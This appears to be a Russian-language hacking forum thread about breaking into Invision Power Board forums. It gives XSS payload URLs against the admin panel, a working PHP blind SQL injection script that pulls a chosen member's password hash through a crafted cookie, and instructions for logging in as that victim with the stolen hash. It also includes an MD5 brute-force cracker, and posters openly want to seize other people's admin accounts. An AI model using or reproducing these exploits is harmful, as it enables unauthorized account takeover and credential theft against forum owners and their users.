• XSS.stack #1 – первый литературный журнал от юзеров форума

Взлом Invision Power Board

Сплойт глючный, ака в нем ошибка. И вообще тема называется ВЗЛОМ а не защита форумов. Если тебя интересуют заплатки - вали в мастерскую (раздел на форуме такой), там ИПБ обсуждается с точки зрения веб мастера.
 
Проверялось только в 2.04 в остальных версиях работа не гарантируеться.

:diablo: :diablo: Уязвимость: Минимальная. :bang:

Данная ссылка будет выводить на главной странице [JS-сценарий].
Т.к данные не фильтруються то можно поставить злонамеренный код.

/admin.php?code=doreg&act=pin&ipb_reg_number=0610475748-62658-10-18233
-02542&ipb_reg_show=1&ipb_reg_name=PYCCXAK.COM+'>[JS-Сценарий]<'


Это выведет алерт сразу после вода пароля.

/admin.php?printframes=1&act=mysql&code=runsql&query=[JS-сценарий]

Работает только если зайти по этой ссылке и ввести пароль юзера =)))
Тогда выйдет [JS-Сценарий специально созданый пользователем.].

Уязвимость как говорю минимальнейшая и с ней толком
ничего нельзя зделать, но все же XSS и в Африке XSS :)
Обнаружил: Morph
:rtfm: :bang:
 
to c31337:

Вот перепись сплоита на PHP

эээ долго издевался над кодом? :D ну я поправил чтобы хотябы ошибок не было и переменные выставил чтобы нужный путь к формуму формировался, но каким образом ЭТО может работать? :blink:

во-первых надо в function getHeader() добавить $header = ""; иначе будет ошибка в строке $header.= fread($fp, 512); в начале кода добавление после $pass = ""; строки $hash = ""; избавит от ошибки в строке $hash .= $letter;

ну и ареса и порты надо прописать, поскольку тестировал я это дома на своём компе то прописал

$server = "localhost";
$file = "/forum/";
$id = 3; - ID реально существующего юзверя

в результате получаем запрос вида
HEAD /forum/index.php?act=Login&CODE=autologin HTTP/1.1 Host: localhost:80 Cookie: member_id=3;pass_hash=%2527%20OR%20id=81%20HAVING%20id=81%20AND%20MID(`password`,1,1)=%25270 Connection: close 1: 0

ну и потому как в цикле усе вертицца то в части MID(`password`,1,1) еденичка после `password` меняется на 2,3 и т.д. и после Connection: close 1-ка меняецца... и что это даёт?

подразумевалось очевидно что хитрый Cookei позволит выполнить SQL-выражение, и если оно окажется истинным (т.е. найден подходящий символ из строки хэша пароля), то нас не попытаются отправить на страницу ввода логина и пароля (см. if( !preg_match('/Location:(.*)act\=Login\&CODE\=00\r\n/',
$header) ) ) - но этого и не происходит сервер все время возвращает (меняется только session_id):

HTTP/1.1 200 OK Date: Wed, 10 Aug 2005 18:43:17 GMT Server: Apache/2.0.52 (Win32) PHP/5.0.3 X-Powered-By: PHP/5.0.3 Set-Cookie: member_id=0; path=/ Set-Cookie: pass_hash=0; path=/ Set-Cookie: session_id=4395c67b5f36f0ada81303703fe8bc4d; path=/ Set-Cookie: member_id=0; path=/ Set-Cookie: pass_hash=0; path=/ Set-Cookie: session_id=227410b3c539880d0742d832afcb5e77; path=/ Connection: close Content-Type: text/html; charset=WINDOWS-1251 1: 0

и чета не всосу какой смысл в таком query:

SELECT * FROM ibf_members
WHERE id=$id AND password='$pass' OR id=$target
HAVING id=$target AND MID(`password`,$i,1)='$letter'

ну SELECT * FROM ibf_members WHERE id=$id выберет нам пользователя с id=$id а дальше что за бред? $pass у нас пустой все время получаем: AND password=' OR id=81 HAVING id=81 и че это будет если ID==81 нету в природе?

вот строку SELECT * FROM ibf_members WHERE id=$id AND password='$hash' OR MID(`password`,$i,1)='$letter'; еще можно понять, но и так ни хрена не работает...

ну, колись че еще править надо? :bang: :crazy:
 
1. Что такое JS-сценарий? и как его вводить в моём случае.
LOL, я тоже щас над тобой ржать буду. Погляди сколько тут сплойтов лежит, попробую, наверняка чтонить да и подойдет.
Ненадо, плиз, мне так хреново эти гады мне и так душу загубили. :cry2:
//А зацепок никаких? я знаю что их уже взламывали через, знаменитую дыру в MySQL, и хостинг у них Агава. :fie:
Плиз Ребят помогите я даже заплотить могу, (немного:)), очень нужна помощь.
 
возвращаясь к самому простому способу - что делать с "MD5"-хешем, получаемым нехитрым и расписанным повсюду инъектом?

собственно, md5inside не подтвердил соответствия между хешем и моим собственным паролем.
 
все c31337, можешь не трудицца я нашел свою рабочую модификацию, там надо знать member_id того чей хэш пароля тебе надо упереть, он показывается в постах на форуме как Member No.: ну и надо знать ID реально несуществующий, можно например 10000 поставить, наврядли найдецца форум с 10000 мемберов, по постам видно какого порядка должна быть эта цифра

а теперь ловите:

<?php
/* this data is specific for forum that you attack, I set it to attack forum at my home computer */
$server = "localhost";
$port = 8080;
$file = "/forum/";
$id = 1; /* set here memberID who password_hash you whant to get */
$target = 10000; /* set here memberID that 100% non-existent for this forum */
/* end of data that is specific for forum that you attack
if address of forum is http://www.targetsite.com/forum/index.php
then data must be:
$server = "www.targetsite.com";
$port = 80;
$file = "/forum/";
*/


$pass = "";
$hash = "";

$hex = "0123456789abcdef";
for($i = 1; $i <= 32; $i++ ) {
$idx = 0;
$found = false;

while( !($found) ) {
$letter = substr($hex, $idx, 1);

/* %2527 translates to %27, which gets past magic quotes. This is translated to ' by urldecode. */

$cookie = "member_id=$id;pass_hash=%2527%20AND%20id=$target%20OR%20id=$id%20AND%20MID(`password`,$i,1)=%2527" . $letter;

/* Query is in effect: SELECT * FROM ibf_members WHERE id=$id AND password='$pass' AND
id=$target OR id=$id AND MID(`password`,$i,1)='$letter' */

$header = getHeader($server, $port, $file . "index.php?act=Login&CODE=autologin", $cookie);

if( !preg_match('/Location:(.*)act\=Login\&CODE\=00\r\n/', $header) ) {
echo $i . ": " . $letter . "\n";
flush();
$found = true;

$hash .= $letter;
} else {
$idx++;
}
}
}

echo "\n\nFinal Hash: $hash\n";

function getHeader($server, $port, $file, $cookie) {
$ip = gethostbyname($server);
$fp = fsockopen($ip, $port);
$header = "";

if (!$fp) {
return "Unknown";
} else {
$com = "HEAD $file HTTP/1.1\r\n";
$com .= "Host: $server:$port\r\n";
$com .= "Cookie: $cookie\r\n";
$com .= "Connection: close\r\n";
$com .= "\r\n";

fputs($fp, $com);

do {
$header.= fread($fp, 512);
} while( !preg_match('/\r\n\r\n$/',$header) );
}

return $header;
}
?>
Добавлено [time]1123706244[/time]
проверял на своём форуме установленом на домашнем компе (специально для тренировки во взломе :D ) - хэши реальные возвращает

а теперь к следующему вопросу:

возвращаясь к самому простому способу - что делать с "MD5"-хешем, получаемым нехитрым и расписанным повсюду инъектом?

собственно, md5inside не подтвердил соответствия между хешем и моим собственным паролем.

первое что можно сделать это как-нить умудрицца засунуть в свой броузер cookie: memmber_id=ID_того_под_кем_хочешь_зайти;pass_hash=его_спизженый_хэш и зайти на сайт чтобы он по этим кукисам сделал тебе автологон. И ты сможешь постить от его имени, но сменить пароль не сможешь т.к. надо знать старый. Этот вариант также не хляет если хочешь поадминить форум и спер хэш админа - чтобы войти в панель управления админскую надо ввести пароль.

и второе, что сложнее - вычислить пароль. Не знаю как в версии 1.3 (надо код посмотреть как время будет), но в 2.0 и выше хэш считается не просто MD5(пароль), а MD5(MD5(salt)+MD5(пароль)) и тут придёцца напрягать мозги дабы ###### случайное число salt, которое храницца в базе форума, но где пока не знаю. Как будет время разрою всё это и напишу.

Добавлено [time]1123706673[/time]
и еще ждать результата придецца прилично, в зависимости от скорости работы сервака где сайт крутицца, дома у себя я порядка минуты дожидался результатов
 
у меня тоже никак не хватает времени на просмотр исходника. да и с ООП не дружу, долго фтыкаю.
с кукисами все понятно, пока так и пользуюсь...
есть идея посмотреть механизм логина в админку, хотя шансов тоже мало.
там наверняка проверяются переменные и хеш так просто туда не просунешь.
 
кстати этот код для версии форума 2.0.2 не подходит они там код переделали и поле с паролем теперь не password называется а member_login_key :D
Добавлено [time]1123786379[/time]
а не, гоню все работает если `password` в скрипте ломающем поменять на 'member_login_key' :D пофиксили называецца баг, идиоты :lol2: нет чтобы вытащеный из cookie хэш пароля проверить на то что там токма сиволы от 0 до f содержацца, так они название поля в базе поменяли и успокоились :fool:
 
в одной из версий, не помню какой - legacy_password :)

а при чем вообще проверка куков?
тут вообще делов-то, не допускать sql-inj.. собственно кроме этого ничего и не остается.
мне даже не понятно, с чем связанно решение о смене формата хеша на отличный от MD5...
если я получу доступ к кукам пользователя(беспокоятся о безопасности пользователей своих чтоль??), то уж наверняка я с большей вероятностью вытащу пароль из автозахода в браузере или найду где он записан.
 
и еще.. очень хотелось бы найти 2.0.1 версию-движка. у себя обнеружил только пре-релиз 2ой 2.0го
 
прошу прощения за третий подряд пост, однако.
посидел я тут с движком IPB 2.0.0 и вот чего обнаружил.

Код:
$this->generate_compiled_passhash( $this->member['converge_pass_salt'], $md5_once_password ) )
собственно, вот что делает логин-форма с введенным паролем прежде чем сравнить его с записанным.

Код:
function generate_compiled_passhash($salt, $md5_once_password)
	{
  return md5( md5( $salt ) . $md5_once_password );
	}
а вот та красавица которая дает непонятный "MD5"
:thumbsup:
далее...
Код:
function generate_password_salt($len=5)
	{
  $salt = '';
  
  srand( (double)microtime() * 1000000 );
  
  for ( $i = 0; $i < $len; $i++ )
  {
  	$num   = rand(33, 126);
  	
  	if ( $num == '92' )
  	{
    $num = 93;
  	}
  	
  	$salt .= chr( $num );
  }
  
  return $salt;
	}
ч0рт :)

Код:
function generate_auto_log_in_key($len=60)
	{
  $pass = $this->generate_password_salt( 60 );
  
  return md5($pass);
	}
как говорится, ввек не обгадишь.
собственно, расшифровать пароль практически невозможно. на форуме он как таковой не хранится, а хранится результат двойной кодировки. т.е, чтобы добраться хотя бы до MD5 hash пароля + $salt нам нужно расшифровать 32-символьный дайждест :)

дальше идеи заканчиваются. админка держится на сессиях, влезть в которые мне не представляется возможным.
остается только "администрировать" через правку базы...
а так хотелось бы тихо получить пароль админа....

наверное, остался лишь вариант - дать себе права админа.
насколько я понимаю они по прежнему определяются группой пользователя.

придется отложить разбирательство до получения версии 2.0.1... в 2.0.0 это определяется переменной g_access_cp, а без мануала по mysql я сообразить список колонок не смогу :)

вообщем, буду очень рад если проблему буду решать не один. хочется оставить таки на родном форуме о себе память не в виде стертой базы.
предыдущий пост думаю, можно стереть.
 
function generate_compiled_passhash($salt, $md5_once_password)
{
return md5( md5( $salt ) . $md5_once_password );
}

ну так это то о чем я говорил что в версии 2.0 и выше хэш пароля равен MD5(MD5(salt)+MD5(пароль)) а вот я тока что проверил на версии 1.3 Final так так хэш считаецца просто MD5(пароль).

а при чем вообще проверка куков?
тут вообще делов-то, не допускать sql-inj.. собственно кроме этого ничего и не остается.
мне даже не понятно, с чем связанно решение о смене формата хеша на отличный от MD5...
если я получу доступ к кукам пользователя(беспокоятся о безопасности пользователей своих чтоль??), то уж наверняка я с большей вероятностью вытащу пароль из автозахода в браузере или найду где он записан.

я говорил не о проверке куков а о том что если спизженый хэш пароля и member_id (он в форумах как номер мембера отображаецца) засунуть в куки браузера от имени этого форума как-нибудь, то набрав http://адрес форума/index.php?act=Login&CODE=autologin тебя автоматически впустят под этим мембером и ты можешь от его имени постить, менять его настройки (кроме пароля) и т.п.

а расчет хэша они поменяли потому что MD5 гораздо легче тупым перебором вскрыть получив несколько вариантов паролей подходящих к спёртому хэшу и попробовать войти используя эти пароли начиная с наиболее на твой взгляд вероятных... а вот когда MD5 выполняется дважды, то тут уже ты вариантов куда больше получишь да и время вычисления в 2 раза увеличицца т.к. функцию md5 тебе 2 раза вызывать придёцца к тому же это даёт им тот прикол что даже если 2 идиота введут одинаковые пароли то хэши полюбому разные будут т.к. salt который они при расчете юзают есть случайное число.

вот теперь думаю написать на С вычисление паролей по хэшу тупым перебором, а потом если время бут мож на асме перепишу с использованием MMX или SSE чтобы быстрее было т.к. если на PHP это делать то медленно очень выйдет.

По идее конечно тупым перебором подбирать пароли к хэшу очень долго, но в нашем случае задача очень упрощена - никакой идиот не будет задавать пароль длиной в 100 символов, можно например 16-ю ограничивать и 1-2 символа админ в качестве пароля тоже врядли введет, кроме того набор символов используемых в пароле также ограничен. В общем посмотрим на скорость работы тупого перебора потом бум дальше смотреть :D . А после этого уже занимацца солёными паролями, скока форумов видел - редко где юзаются версии 2.0 и выше... чаще 1.3 попадаюцца, а то и 1.1 :D
 
я уже писал почему подобрать вообщем-то нереально. . $md5_once_password насколько я смог разобраться, сдержит настоящий хеш. т.е, мы имеем 32+32 символа, которые еще сверху кодируются в 32.
причем, длинна пароля на сложность расшифровки первого "замочка" не влияет. а 64 символьный "пароль" состоящий из цифр и символов, не соответствующий ни одному словарю..
 
война херня - главное манёвры... salt можно вытащить из базы т.е. для нас это константа и кто не даёт пока ломать форумы версии 1.3 :D

вот кстати пока PHP-шная версия тупого перебора для поиска пароля по хешу:

в $hash подставляешь спёртый хэш
в $minchars и $maxchars соответственно с какойдлины пароля начинать подбор и до какой максимальной длины его увеличивать, ложишь это дело в каталог апачей htdocs (ПХП должно быть естессно установлено), набираешь localhost/имяскрипта.php и ждешь пока появицца пароль либо напишет что он не найден.

разрешенные в пароле символы ($symboltable = "0123456789abcdefghijklmnopqrstuvwxyz";) можно добавлять, НО должно выполняцца условие что следующий в численном представлении должен быть ВСЕГДА польше предыдущего.

<?php

if( CrackHash() == 0 )
echo "password not found \n";

function CrackHash()
{
$found = 0;
$stsize = 26;
$symboltable = "0123456789abcdefghijklmnopqrstuvwxyz";

$pass = "";
$hash = "10a93c12e62895abfee8e7a19a3f6892";
$minchars = "3";
$maxchars = "5";

for($j = 0; $j < $minchars; $j++)
{
$pass .= $symboltable[0];
}

$hipos = $minchars;
while($hipos <= $maxchars)
{
$pos = 0;
/*echo $pass . " ";*/
if($hash == md5($pass))
{
echo "password: $pass \n";
$found = 1;
}

$oldsym = $pass[$pos];
$pass[$pos] = nextSymbol($oldsym);

while($pass[$pos] < $oldsym)
{
$pos++;
if($pos >= $maxchars)
return $found;

if($pos >= $hipos)
{
$hipos++;
$pass .= $symboltable[0];
break;
}
else
{
$oldsym = $pass[$pos];
$pass[$pos] = nextSymbol($oldsym);
}
}
}
return $found;
}

function nextSymbol($symbol) {
$stsize = 26;
$symboltable = "abcdefghijklmnopqrstuvwxyz";

if($symbol == $symboltable[$stsize - 1])
return $symboltable[0];
else
{
$res = strchr($symboltable, $symbol);
return $res[1];
}
}

?>

4-х символьные пароли еще можно ломать (кстати пароль всегда один получается а не несколько как я думал) а вот 5-ти символьные уже долго ждать приходицца, придецца видимо на С++ писать а потом и на асме даже оптимизированую под MMX или SSE версию. Можно даже инновации применять типа генетических алгоритмов поиска паролей - там время поиска растет в несколько раз меньше в зависимости от длины пароля по сравнению с тупым перебором.

Убедившись что находит тока один пароль на хэш можно вместо $found = 1; поставить return 1; это ускорит процесс (найдя пароль не будет перебирать их дальше).
 
DeathOfPower А как применять на деле скрипты, что вы предоставили?

надо на своем компе имеющим доступ в инет поднять Appache c PHP, скопировать скрипты в htdocs директорию апачи и набирать localhost/имяскрипта.php в браузере. естессно в скриптах надо выставить переменные для своего случая, в коментариях к моему первому скрипту написано какие а в скрипте описаном выше я перед самим скриптом написал че там менять надо.

если не сможешь их заюзать - не быть тебе хакером :D значит ошибка у тя в ДНК :lol2:

кстати в последнем скрипте ошибка, он должен выглядеть так:

<?php

if( CrackHash() == 0 )
echo "password not found \n";

function CrackHash()
{
$found = 0;
$stsize = 36;
$symboltable = "0123456789abcdefghijklmnopqrstuvwxyz";

$pass = "";
$hash = "7da7993d1249cb28b4e0c3e8524d15d2";
$minchars = "3";
$maxchars = "4";

for($j = 0; $j < $minchars; $j++)
{
$pass .= $symboltable[0];
}

$hipos = $minchars;
while($hipos <= $maxchars)
{
$pos = 0;
if($hash == md5($pass))
{
echo "password: $pass \n";
$found = 1;
}

$oldsym = $pass[$pos];
$pass[$pos] = nextSymbol($oldsym);

while($pass[$pos] < $oldsym)
{
$pos++;
if($pos >= $maxchars)
return $found;

if($pos >= $hipos)
{
$hipos++;
$pass .= $symboltable[0];
break;
}
else
{
$oldsym = $pass[$pos];
$pass[$pos] = nextSymbol($oldsym);
}
}
}
return $found;
}

function nextSymbol($symbol) {
$stsize = 36;
$symboltable = "0123456789abcdefghijklmnopqrstuvwxyz";

if($symbol == $symboltable[$stsize - 1])
return $symboltable[0];
else
{
$res = strchr($symboltable, $symbol);
return $res[1];
}
}

?>
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх